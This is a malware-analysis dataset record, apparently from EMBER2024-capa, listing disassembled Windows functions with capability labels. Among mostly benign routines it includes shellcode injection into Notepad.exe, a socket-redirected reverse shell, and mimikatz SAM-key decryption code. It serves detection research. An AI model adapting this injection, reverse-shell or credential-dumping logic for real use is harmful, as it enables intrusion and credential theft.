joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140002170
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r12
push r14
push r15
mov eax, dword [rcx + 0x48]
lea rbx, [rcx + 0x28]
mov rsi, qword [rcx]
lea r11, [rcx + 0x28]
add rbx, rax
mov rdi, rcx
movabs rbp, 0x9e3779b185ebca87
movabs r15, 0x27d4eb2f165667c5
movabs r14, 0xc2b2ae3d27d4eb4f
movabs r12, 0x7a1435883d4d519d
cmp rsi, 0x20
jb 0x14000226b
mov rcx, qword [rcx + 8]
mov r8, qword [rdi + 0x18]
mov r9, qword [rdi + 0x20]
mov rax, r8
mov rdx, qword [rdi + 0x10]
mov r10, r9
rol r10, 0x12
rol rax, 0xc
add r10, rax
mov rax, rdx
rol rax, 7
add r10, rax
mov rax, rcx
rol rax, 1
add r10, rax
movabs rax, 0x85ebca77c2b2ae63
imul rcx, r14
imul rdx, r14
imul r8, r14
imul r9, r14
rol rcx, 0x1f
imul rcx, rbp
rol rdx, 0x1f
xor r10, rcx
rol r8, 0x1f
imul r10, rbp
imul rdx, rbp
imul r8, rbp
sub r10, r12
rol r9, 0x1f
xor r10, rdx
imul r10, rbp
imul r9, rbp
sub r10, r12
xor r10, r8
imul r10, rbp
sub r10, r12
xor r10, r9
imul r10, rbp
add rax, r10
add rax, rsi
jmp 0x140002273
lea rax, [rsi + r15]
add rax, qword [rcx + 0x18]
lea rdx, [rdi + 0x30]
cmp rdx, rbx
ja 0x1400022aa
nop dword [rax]
mov rcx, qword [r11]
add rdx, 8
imul rcx, r14
add r11, 8
rol rcx, 0x1f
imul rcx, rbp
xor rax, rcx
rol rax, 0x1b
imul rax, rbp
sub rax, r12
cmp rdx, rbx
jbe 0x140002280
lea rdx, [r11 + 4]
movabs r8, 0x165667b19e3779f9
cmp rdx, rbx
ja 0x1400022d5
mov ecx, dword [r11]
mov r11, rdx
imul rcx, rbp
xor rax, rcx
rol rax, 0x17
imul rax, r14
add rax, r8
cmp r11, rbx
jae 0x1400022fb
nop word [rax + rax]
movzx ecx, byte [r11]
inc r11
imul rcx, r15
xor rax, rcx
rol rax, 0xb
imul rax, rbp
cmp r11, rbx
jb 0x1400022e0
mov rbx, qword [rsp + 0x20]
mov rcx, rax
mov rbp, qword [rsp + 0x28]
mov rsi, qword [rsp + 0x30]
mov rdi, qword [rsp + 0x38]
shr rcx, 0x21
xor rcx, rax
imul rcx, r14
mov rdx, rcx
shr rdx, 0x1d
xor rdx, rcx
imul rdx, r8
mov rax, rdx
shr rax, 0x20
xor rax, rdx
pop r15
pop r14
pop r12
ret

Function at 0x14000a570
Capabilities:
Get common file path

Disassembly:
mov qword [rsp + 0x18], rbx
push rdi
sub rsp, 0x250
mov rax, qword [0x14002b008]
xor rax, rsp
mov qword [rsp + 0x240], rax
mov rdi, r8
lea rax, [rsp + 0x30]
mov rbx, rcx
mov qword [rsp + 0x20], rax
xor r8d, r8d
xor ecx, ecx
xor r9d, r9d
call qword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
je 0x14000a5b5
xor al, al
jmp 0x14000a602
cmp word [rbx], 0
je 0x14000a5cd
nop dword [rax + rax]
add rbx, 2
dec rdi
cmp word [rbx], 0
jne 0x14000a5c0
cmp word [rsp + 0x30], 0
je 0x14000a5fb
lea rcx, [rsp + 0x30]
sub rcx, rbx
nop dword [rax]
cmp rdi, 1
jb 0x14000a623
movzx eax, word [rcx + rbx]
dec rdi
mov word [rbx], ax
add rbx, 2
cmp word [rcx + rbx], 0
jne 0x14000a5e0
xor eax, eax
mov word [rbx], ax
mov al, 1
mov rcx, qword [rsp + 0x240]
xor rcx, rsp
call fcn.14000b730
mov rbx, qword [rsp + 0x270]
add rsp, 0x250
pop rdi
ret
call fcn.14000f5b8
int3
Function at 0x14000ab00
Capabilities:
Read file on windows

Disassembly:
test rdx, rdx
je 0x14000ac8c
push rbp
push rsi
push rdi
sub rsp, 0x30
mov qword [rsp + 0x60], r14
xor sil, sil
xor r14d, r14d
mov qword [rsp + 0x50], rbx
mov rdi, rdx
mov rbp, rcx
nop word [rax + rax]
mov rax, qword [0x140030dd8]
mov rcx, qword [0x140030de0]
sub rax, rcx
je 0x14000ab74
mov rdx, qword [0x140030dd0]
cmp rdi, rax
mov rbx, rdi
cmovae rbx, rax
add rdx, rcx
mov r8, rbx
mov rcx, rbp
call fcn.14000d3d0
add rbp, rbx
sub rdi, rbx
add qword [0x140030de0], rbx
jmp 0x14000ac72
mov rax, qword [0x14002edc0]
mov rcx, qword [0x14002edb8]
cmp rax, rcx
jb 0x14000ac20
test sil, sil
jne 0x14000ac20
cmp rcx, rax
jne 0x14000ac8d
mov rcx, qword [0x14002edc8]
mov r9d, 1
xor r8d, r8d
xor edx, edx
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov rcx, qword [0x140030de8]
mov eax, eax
sub rcx, rax
je 0x14000ac72
mov rdx, qword [0x14002edb0]
lea r9, [rsp + 0x58]
mov ebx, 0x20003
mov qword [rsp + 0x20], r14
cmp rcx, rbx
cmovb rbx, rcx
mov rcx, qword [0x14002edc8]
mov r8d, ebx
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x14000ac93
mov eax, dword [rsp + 0x58]
cmp rax, rbx
jne 0x14000ac93
add qword [0x14002cd90], rbx
mov qword [0x14002edc0], r14
mov qword [0x14002edb8], rbx
jmp 0x14000ac72
mov rcx, qword [0x14002eda8]
lea r8, [0x14002edb0]
lea rdx, [0x140030dd0]
mov qword [0x140030de0], r14
mov qword [0x140030dd8], 0x20000
call fcn.1400071d0
mov rcx, qword [0x140030de0]
cmp rcx, qword [0x140030dd8]
sete sil
cmp rax, 0xffffffffffffff88
ja 0x14000ac8d
mov qword [0x140030dd8], rcx
mov qword [0x140030de0], r14
test rdi, rdi
jne 0x14000ab30
mov rbx, qword [rsp + 0x50]
mov r14, qword [rsp + 0x60]
add rsp, 0x30
pop rdi
pop rsi
pop rbp
ret
call fcn.14000aa00
int3
call fcn.14000aa40
int3

Function at 0x14000aca0
Capabilities:
Delete file

Disassembly:
push rbx
sub rsp, 0x80
mov rcx, qword [0x14002eda0]
xor ebx, ebx
test rcx, rcx
je 0x14000ad35
call qword [sym.imp.KERNEL32.dll_GetProcessId]
mov edx, eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GenerateConsoleCtrlEvent]
test eax, eax
jne 0x14000ad16
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov qword [rsp + 0x30], rbx
xor edx, edx
mov r8d, eax
mov dword [rsp + 0x28], ebx
lea rax, [rsp + 0x90]
mov r9d, 0x400
mov ecx, 0x1300
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_FormatMessageA]
lea rcx, str.Failed_to_send_CTRL_C_to_child_process.
call fcn.14000fb8c
mov rcx, qword [rsp + 0x90]
call fcn.14000fb8c
mov rcx, qword [0x14002eda0]
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [0x14002eda0]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp byte [0x140030df0], bl
je 0x14000ad85
lea rax, [0x14002edd0]
mov qword [rsp + 0x40], rbx
lea rcx, [0x140027a50]
mov qword [rsp + 0x50], rax
mov eax, 0x414
mov qword [rsp + 0x58], rcx
mov qword [rsp + 0x70], rcx
lea rcx, [rsp + 0x40]
mov word [rsp + 0x60], ax
mov dword [rsp + 0x48], 3
mov dword [rsp + 0x64], ebx
mov qword [rsp + 0x68], rbx
call qword [sym.imp.SHELL32.dll_SHFileOperationW]
add rsp, 0x80
pop rbx
ret
Function at 0x14000f5ac
Capabilities:
Parse pe header

Disassembly:
mov qword [rsp + 8], rbx
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov ebx, ecx
test r8d, r8d
jne 0x14000f43f
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14000f43f
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14000f43f
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14000f43f
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14000f43f
cmp dword [rcx + 0x84], 0xe
jbe 0x14000f43f
cmp dword [rcx + 0xf8], 0
je 0x14000f43f
mov ecx, ebx
call fcn.14000f4e0
lea rax, [rbp + 0x18]
mov byte [rbp + 0x28], 0
mov qword [rbp - 0x20], rax
lea r9, [rbp - 0x2c]
lea rax, [rbp + 0x20]
mov qword [rbp - 0x18], rax
lea r8, [rbp - 0x20]
lea rax, [rbp + 0x28]
mov qword [rbp - 0x10], rax
lea rdx, [rbp - 0x28]
mov eax, 2
lea rcx, [rbp - 0x30]
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
call fcn.14000f2d0
cmp dword [rbp + 0x20], 0
je 0x14000f48c
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.14000f494
int3
xor r8d, r8d
xor edx, edx
jmp 0x14000f3d8
Function at 0x2fc4d3530
Capabilities:
Write file on windows

Disassembly:
push rbp
push rbx
sub rsp, 0x38
lea rbp, [rsp + 0x30]
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x28], rdx
mov qword [rbp + 0x30], r8
mov qword [rbp + 0x38], r9
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov ecx, 2
call sub.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func
mov r9, rax
mov r8d, 0x1b
mov edx, 1
lea rax, str.Mingw_w64_runtime_failure:_n
mov rcx, rax
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fwrite
mov rbx, qword [rbp - 8]
mov ecx, 2
call sub.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func
mov rcx, rax
mov rax, qword [rbp + 0x20]
mov r8, rbx
mov rdx, rax
call fcn.2fc4d4610
call sub.api_ms_win_crt_runtime_l1_1_0.dll_abort
nop

Function at 0x2fc4d3f32
Capabilities:
Get thread local storage value

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov eax, dword [0x2fc4f6108]
test eax, eax
je 0x2fc4d3fca
lea rax, [0x2fc4f60e0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
call rax
mov rax, qword [0x2fc4f6110]
mov qword [rbp - 8], rax
jmp 0x2fc4d3fae
mov rax, qword [rbp - 8]
mov eax, dword [rax]
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_TlsGetValue]
call rax
mov qword [rbp - 0x10], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
test eax, eax
jne 0x2fc4d3fa2
cmp qword [rbp - 0x10], 0
je 0x2fc4d3fa2
mov rax, qword [rbp - 8]
mov rdx, qword [rax + 8]
mov rax, qword [rbp - 0x10]
mov rcx, rax
call rdx
mov rax, qword [rbp - 8]
mov rax, qword [rax + 0x10]
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x2fc4d3f68
lea rax, [0x2fc4f60e0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
call rax
jmp 0x2fc4d3fcb
nop
add rsp, 0x30
pop rbp
ret

Function at 0x2fc4d40d0
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x2fc4d40f8
mov eax, 0
jmp 0x2fc4d4146
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x2fc4d4121
mov eax, 0
jmp 0x2fc4d4146
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
cmp ax, 0x20b
je 0x2fc4d4141
mov eax, 0
jmp 0x2fc4d4146
mov eax, 1
add rsp, 0x20
pop rbp
ret
Function at 0x2fc4d414c
Capabilities:
Enumerate pe sections

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov rax, qword [rbp + 0x10]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x10]
add rax, rdx
mov qword [rbp - 0x18], rax
mov dword [rbp - 0xc], 0
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp - 0x18]
add rax, rdx
add rax, 0x18
mov qword [rbp - 8], rax
jmp 0x2fc4d41ca
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0xc]
mov eax, eax
cmp qword [rbp + 0x18], rax
jb 0x2fc4d41c1
mov rax, qword [rbp - 8]
mov edx, dword [rax + 0xc]
mov rax, qword [rbp - 8]
mov eax, dword [rax + 8]
add eax, edx
mov eax, eax
cmp qword [rbp + 0x18], rax
jae 0x2fc4d41c1
mov rax, qword [rbp - 8]
jmp 0x2fc4d41df
add dword [rbp - 0xc], 1
add qword [rbp - 8], 0x28
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 6]
movzx eax, ax
cmp dword [rbp - 0xc], eax
jb 0x2fc4d4194
mov eax, 0
add rsp, 0x20
pop rbp
ret
Function at 0x140001000
Capabilities:
Allocate or change rwx memory
Enumerate processes
Execute shellcode via indirect call
Link many functions at runtime

Disassembly:
mov r11, rsp
mov qword [r11 + 8], rbx
mov qword [r11 + 0x10], rbp
mov qword [r11 + 0x18], rsi
push rdi
push r14
push r15
sub rsp, 0x2b0
mov rax, qword [0x140004008]
xor rax, rsp
mov qword [rsp + 0x2a0], rax
movsd xmm0, qword [str.ShellCode]
xor edx, edx
movzx eax, word [0x140002278]
movsd qword [r11 - 0x38], xmm0
mov word [r11 - 0x30], ax
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
xor edx, edx
lea rcx, [rsp + 0x54]
mov r8d, 0x234
mov rbx, rax
call sub.VCRUNTIME140.dll_memset
lea rdx, [rsp + 0x50]
mov dword [rsp + 0x50], 0x238
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
nop dword [rax]
lea rdx, str.Notepad.exe
lea rcx, [rsp + 0x7c]
call qword [sym.imp.KERNEL32.dll_lstrcmpW]
mov rcx, rbx
test eax, eax
je 0x1400010ae
lea rdx, [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x140001080
mov ebp, dword [rsp + 0x40]
jmp 0x1400010b8
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov ebp, dword [rsp + 0x58]
call fcn.1400011e0
mov rcx, rax
lea rdx, str.OpenProcess
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
call fcn.1400011e0
mov rcx, rax
lea rdx, str.VirtualAllocEx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdi, rax
call fcn.1400011e0
mov rcx, rax
lea rdx, str.WriteProcessMemory
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r14, rax
call fcn.1400011e0
mov rcx, rax
lea rdx, str.CreateRemoteThread
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r15, rax
call fcn.1400011e0
mov rcx, rax
lea rdx, str.VirtualProtectEx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r8d, ebp
xor edx, edx
mov ecx, 0x1fffff
mov rsi, rax
call rbx
xor edx, edx
mov dword [rsp + 0x20], 4
mov r9d, 0x1000
mov rcx, rax
mov rbp, rax
lea r8d, [rdx + 0xa]
call rdi
xor edi, edi
lea r8, [rsp + 0x290]
mov rdx, rax
mov qword [rsp + 0x20], rdi
mov rcx, rbp
mov rbx, rax
lea r9d, [rdi + 0xa]
call r14
lea rax, [rsp + 0x40]
mov rdx, rbx
lea r9d, [rdi + 0x20]
mov qword [rsp + 0x20], rax
lea r8d, [rdi + 0xa]
mov rcx, rbp
call rsi
mov qword [rsp + 0x30], rdi
mov r9, rbx
mov dword [rsp + 0x28], edi
xor r8d, r8d
xor edx, edx
mov qword [rsp + 0x20], rdi
mov rcx, rbp
call r15
xor eax, eax
mov rcx, qword [rsp + 0x2a0]
xor rcx, rsp
call fcn.140001210
lea r11, [rsp + 0x2b0]
mov rbx, qword [r11 + 0x20]
mov rbp, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov rsp, r11
pop r15
pop r14
pop rdi
ret

Function at 0x1400011e0
Capabilities:
Access peb ldr_data

Disassembly:
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x30]
mov rax, qword [rax]
mov rax, qword [rax]
mov rax, qword [rax + 0x10]
ret
Function at 0x140001be0
Capabilities:
Initialize winsock library
Terminate process

Disassembly:
sub rsp, 0x28
lea rdx, [0x140006190]
mov cx, 0x202
call qword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x140001c04
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
add rsp, 0x28
ret

Function at 0x140001c10
Capabilities:
Resolve dns

Disassembly:
sub rsp, 0x38
call fcn.1400019b0
lea rcx, str.2:3_279_1_7
call qword [sym.imp.WS2_32.dll_gethostbyname]
mov qword [rsp + 0x20], rax
mov eax, 8
imul rax, rax, 0
mov rcx, qword [rsp + 0x20]
mov rcx, qword [rcx + 0x18]
mov rax, qword [rax + rcx]
mov ecx, dword [rax]
call qword [sym.imp.WS2_32.dll_inet_ntoa]
mov r8, rax
mov edx, 0x11
lea rcx, str.2:3_279_1_7
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcpy_s]
lea rcx, str.2:3_279_1_7
call qword [sym.imp.WS2_32.dll_inet_addr]
mov dword [0x14000632c], eax
movzx ecx, word [0x14000600c]
call qword [sym.imp.WS2_32.dll_htons]
mov word [0x14000632a], ax
mov eax, 2
mov word [0x140006328], ax
add rsp, 0x38
ret

Function at 0x140001ca0
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Terminate process

Disassembly:
sub rsp, 0x48
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 6
mov edx, 1
mov ecx, 2
call qword [sym.imp.WS2_32.dll_WSASocketA]
mov qword [0x140006338], rax
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 0x10
lea rdx, [0x140006328]
mov rcx, qword [0x140006338]
call qword [sym.imp.WS2_32.dll_WSAConnect]
test eax, eax
je 0x140001d1b
mov ecx, 2
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
mov eax, 8
imul rax, rax, 2
lea rcx, [0x140006160]
lea rdx, [0x140006338]
mov qword [rcx + rax], rdx
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
add rsp, 0x48
ret
Function at 0x140001d50
Capabilities:
Create a process with modified i/o handles and window
Create process on windows
Terminate process

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x108
mov rax, qword [rsp + 0x110]
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 1
je 0x140001d9c
cmp qword [rsp + 0x50], 2
je 0x140001eae
cmp qword [rsp + 0x50], 3
je 0x140001d92
cmp qword [rsp + 0x50], 4
je 0x140001da6
jmp 0x140001eb5
call fcn.140001ca0
jmp 0x140001ecd
call fcn.140001be0
jmp 0x140001ecd
mov r8d, 0x68
xor edx, edx
lea rcx, [rsp + 0x70]
call sub.VCRUNTIME140.dll_memset
mov dword [rsp + 0x70], 0x68
mov dword [rsp + 0xac], 0x101
mov rax, qword [0x140006338]
mov qword [rsp + 0xd0], rax
mov rax, qword [rsp + 0xd0]
mov qword [rsp + 0xc8], rax
mov rax, qword [rsp + 0xc8]
mov qword [rsp + 0xc0], rax
cmp qword [0x140006338], 0xffffffffffffffff
jne 0x140001e0f
mov ecx, 4
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
call fcn.140001960
lea rax, [rsp + 0xe0]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x70]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 1
xor r9d, r9d
xor r8d, r8d
lea rdx, str.dne_fyf
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x140001eac
lea rdx, str.Error:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140001390
mov qword [rsp + 0x60], rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x58], eax
mov edx, dword [rsp + 0x58]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
mov dl, 0xa
mov rcx, rax
call section..text
mov ecx, 5
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
jmp 0x140001ecd
call fcn.140001c10
jmp 0x140001ecd
mov eax, 8
imul rax, rax, 4
lea rcx, [0x140006160]
mov qword [rcx + rax], 0xffffffffffffffff
add rsp, 0x108
ret

Function at 0x140002eec
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140002f36
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140002f36
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140002f36
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140002f36
cmp dword [rcx + 0x84], 0xe
jbe 0x140002f36
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140002f38
xor al, al
add rsp, 0x28
ret
Function at 0x140084454
Capabilities:
Set console window title

Disassembly:
sub rsp, 0x28
mov ecx, 1
call fcn.1400cec80
mov rcx, rax
call fcn.1400cf524
mov ecx, eax
mov edx, 0x40000
call fcn.1400cf324
mov ecx, 2
mov dword [0x140168558], eax
call fcn.1400cec80
mov rcx, rax
call fcn.1400cf524
mov ecx, eax
mov edx, 0x40000
call fcn.1400cf324
mov dword [0x140168550], eax
call qword [sym.imp.KERNEL32.dll_GetConsoleOutputCP]
mov ecx, 0xfde9
mov dword [0x140168554], eax
call qword [sym.imp.KERNEL32.dll_SetConsoleOutputCP]
lea rcx, str.mimikatz_2.2.0_x64__oe.eo_
call qword [sym.imp.KERNEL32.dll_SetConsoleTitleW]
mov edx, 1
lea rcx, [0x140084570]
call qword [sym.imp.KERNEL32.dll_SetConsoleCtrlHandler]
lea rcx, str._nHi_n
call fcn.14000bf10
mov ecx, 1
add rsp, 0x28
jmp fcn.140084584

Function at 0x1400844f0
Capabilities:
Terminate process

Disassembly:
push rbx
sub rsp, 0x20
mov ebx, ecx
xor ecx, ecx
call fcn.140084584
xor edx, edx
lea rcx, [0x140084570]
call qword [sym.imp.KERNEL32.dll_SetConsoleCtrlHandler]
mov ecx, 1
call fcn.1400cec80
mov rcx, rax
call fcn.1400cf524
mov edx, dword [0x140168558]
mov ecx, eax
call fcn.1400cf324
mov ecx, 2
call fcn.1400cec80
mov rcx, rax
call fcn.1400cf524
mov edx, dword [0x140168550]
mov ecx, eax
call fcn.1400cf324
mov ecx, dword [0x140168554]
call qword [sym.imp.KERNEL32.dll_SetConsoleOutputCP]
xor ecx, ecx
cmp ebx, 0xc000004b
jne 0x140084569
call qword [sym.imp.KERNEL32.dll_ExitThread]
call qword [sym.imp.KERNEL32.dll_ExitProcess]

Function at 0x140084680
Capabilities:
Query environment variable

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov rsi, rcx
mov edi, 0xc0000001
test rcx, rcx
je 0x140084727
xor r8d, r8d
xor edx, edx
call qword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
mov ebp, eax
test eax, eax
je 0x140084727
mov edx, ebp
mov ecx, 0x40
add rdx, rdx
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov rbx, rax
test rax, rax
je 0x1400846ed
mov r8d, ebp
mov rdx, rax
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
cmp ebp, eax
je 0x1400846f2
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov rbx, rax
test rbx, rbx
je 0x140084727
cmp word [rbx], 0x21
je 0x140084713
cmp word [rbx], 0x2a
je 0x140084708
mov rcx, rbx
call fcn.140084740
jmp 0x14008471c
lea rcx, [rbx + 2]
call fcn.1400ab80c
jmp 0x14008471c
lea rcx, [rbx + 2]
call fcn.14009bb3c
mov rcx, rbx
mov edi, eax
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov rbx, qword [rsp + 0x30]
mov eax, edi
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x14009d6d8
Capabilities:
Encrypt data using rc4 via systemfunction033

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rbp
push rdi
push r12
push r14
push r15
lea rbp, [rsp - 0x37]
sub rsp, 0xe0
mov rdi, rcx
mov qword [rbp - 0x49], r9
lea rax, [rbp + 0x1f]
xor esi, esi
lea rcx, str._nSAMKey_:
mov qword [rbp - 0x59], rax
mov r14, r9
mov r15, r8
mov rbx, rdx
lea r12d, [rsi + 0x10]
mov dword [rbp - 0x61], r12d
mov dword [rbp - 0x5d], r12d
mov dword [rbp - 0x51], r12d
mov dword [rbp - 0x4d], r12d
call fcn.14000bf10
and qword [rsp + 0x30], rsi
lea rax, [rbp - 0x69]
lea r9, [0x140131650]
mov qword [rsp + 0x28], rax
xor r8d, r8d
mov rdx, rbx
mov rcx, rdi
call fcn.14000f0c8
test eax, eax
je 0x14009d89a
mov rbx, qword [rbp - 0x69]
movzx edx, word [rbx]
mov ecx, edx
sub ecx, 2
je 0x14009d777
cmp ecx, 1
je 0x14009d777
lea rcx, str.ERROR_kuhl_m_lsadump_getSamKey___Unknow_F_revision___hu_
jmp 0x14009d78d
mov edx, dword [rbx + 0x68]
mov eax, edx
sub eax, 1
je 0x14009d7e9
cmp eax, 1
je 0x14009d797
lea rcx, str.ERROR_kuhl_m_lsadump_getSamKey___Unknow_Struct_Key_revision___u_
call fcn.14000bf10
jmp 0x14009d87d
mov r9d, dword [rbx + 0x74]
lea rax, [rbp + 0x7f]
mov qword [rsp + 0x28], rax
lea r8, [rbx + 0x88]
lea rax, [rbp - 0x69]
mov rcx, r15
lea rdx, [rbx + 0x78]
mov qword [rsp + 0x20], rax
call fcn.140004b44
test eax, eax
je 0x14009d87d
cmp dword [rbp + 0x7f], r12d
mov rcx, qword [rbp - 0x69]
sete sil
jne 0x14009d7de
movups xmm0, xmmword [rcx]
movdqu xmmword [r14], xmm0
call qword [sym.imp.KERNEL32.dll_LocalFree]
jmp 0x14009d87d
lea rcx, [rbp - 0x39]
call qword [sym.imp.cryptdll.dll_MD5Init]
lea rdx, [rbx + 0x70]
mov r8d, r12d
lea rcx, [rbp - 0x39]
call qword [sym.imp.cryptdll.dll_MD5Update]
mov r8d, 0x2f
lea rdx, str.______qwertyUIOPAzxcvbnmQQQQQQQQQQQQ____
lea rcx, [rbp - 0x39]
call qword [sym.imp.cryptdll.dll_MD5Update]
mov r8d, r12d
lea rcx, [rbp - 0x39]
mov rdx, r15
call qword [sym.imp.cryptdll.dll_MD5Update]
mov r8d, reloc.WLDAP32.dll_Ordinal_41
lea rdx, str.0123456789012345678901234567890123456789
lea rcx, [rbp - 0x39]
call qword [sym.imp.cryptdll.dll_MD5Update]
lea rcx, [rbp - 0x39]
call qword [sym.imp.cryptdll.dll_MD5Final]
movups xmm0, xmmword [rbx + 0x80]
lea rdx, [rbp - 0x61]
lea rcx, [rbp - 0x51]
movdqu xmmword [r14], xmm0
call qword [sym.imp.ADVAPI32.dll_SystemFunction033]
mov esi, eax
not esi
shr esi, 0x1f
test esi, esi
jne 0x14009d87d
lea rcx, str.ERROR_kuhl_m_lsadump_getSamKey___RtlDecryptData2_KO
call fcn.14000bf10
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_LocalFree]
test esi, esi
je 0x14009d8a6
xor r8d, r8d
mov edx, r12d
mov rcx, r14
call fcn.140012c58
jmp 0x14009d8a6
lea rcx, str.ERROR_kuhl_m_lsadump_getSamKey___kull_m_registry_OpenAndQueryWithAlloc_KO
call fcn.14000bf10
lea rcx, reloc.Cabinet.dll_FCICreate
call fcn.14000bf10
lea r11, [rsp + 0xe0]
mov eax, esi
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop r12
pop rdi
pop rbp
ret